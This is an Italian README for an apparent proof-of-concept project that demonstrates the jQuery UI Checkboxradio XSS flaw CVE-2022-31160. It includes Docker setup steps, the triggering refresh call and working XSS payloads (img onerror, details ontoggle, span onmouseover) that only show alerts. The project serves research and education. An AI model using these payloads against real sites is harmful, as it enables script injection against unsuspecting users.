
jquery XSS Proof of Concept (PoC)
Questo progetto dimostra la vulnerabilità del widget Checkboxradio di jQuery UI (CVE-2022-31160), che consente la decodifica di entità HTML durante le operazioni di refresh del widget, portando potenzialmente ad attacchi Cross-Site Scripting (XSS).
⚠️ Questo progetto contiene payload XSS funzionanti esclusivamente per scopi educativi e di ricerca.
Quando un widget checkboxradio viene inizializzato su un input racchiuso in un'etichetta (label), chiamare .checkboxradio("refresh") sul widget provoca la decodifica erronea delle entità HTML presenti nel contenuto dell'etichetta. Questo può convertire contenuti dannosi codificati in modo sicuro in JavaScript eseguibile.
<!-- Contenuto sicuro codificato -->
<label for="checkbox">
Testo <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- Dopo .checkboxradio("refresh") -->
<label for="checkbox">
Testo
<input type="checkbox" id="checkbox">
</label>
# Clonare o spostarsi nella directory del progetto
cd jquery-cve-2022-31160
# Costruire l'immagine Docker
docker build -t jquery-cve-2022-31160 .
# Avviare il container
docker run -p 3000:3000 jquery-cve-2022-31160
Una volta che il container è in esecuzione, accedere a:
jquery-cve-2022-31160/
├── README.md # Questa documentazione
├── Dockerfile # Configurazione del container Docker
├── package.json # Dipendenze Node.js
├── server.js # Server Express.js
└── simplified-survey.html # Dimostrazione stile sondaggio
simplified-survey.html)URL: http://localhost:3000/survey
Caratteristiche:
<img src=x onerror="..."> - Esecuzione immediata<details ontoggle="..." open> - Esecuzione immediata<span onmouseover="..."> - Esecuzione interattivaStrumenti di analisi:
.checkboxradio("refresh")// Operazione vulnerabile
$('#checkbox-vulnerabile').checkboxradio();
$('#checkbox-vulnerabile').checkboxradio("refresh"); // Attiva la vulnerabilità
Le dimostrazioni includono vari payload per testare diversi metodi di esecuzione XSS:
<!-- Sicurezza di rete: XSS tramite evento errore (esecuzione immediata) -->
<img src=x onerror="console.log('XSS tramite refresh widget!'); alert('XSS eseguito tramite refresh widget!');">
<!-- Sicurezza mobile: XSS tramite toggle dettagli (esecuzione immediata) -->
<details ontoggle="alert('XSS per sicurezza mobile eseguito!'); console.log('XSS mobile tramite ontoggle!')" open><summary></summary></details>
<!-- Sicurezza cloud: XSS interattivo (richiede interazione utente) -->
<span onmouseover="alert('XSS al passaggio del mouse eseguito!'); console.log('XSS per sicurezza cloud tramite mouseover!')" style="text-decoration:underline; cursor:pointer;">[Passa il mouse per attivare]</span>
onerror)src=x)ontoggle)open)onmouseover)Vantaggi dei gestori di eventi:
innerHTML<script>ontoggle) sono molto affidabiliBypass della codifica:
<, ") vengono decodificate dal refresh di jQuery UIdocker build -t jquery-cve-2022-31160 .
# Eseguire sulla porta predefinita 3000
docker run -p 3000:3000 jquery-cve-2022-31160
# Eseguire su una porta personalizzata
docker run -p 8080:3000 jquery-cve-2022-31160
# Eseguire in background
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Eseguire con un nome personalizzato
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# Elencare i container in esecuzione
docker ps
# Fermare il container
docker stop jquery-cve-2022-31160
# Rimuovere il container
docker rm jquery-cve-2022-31160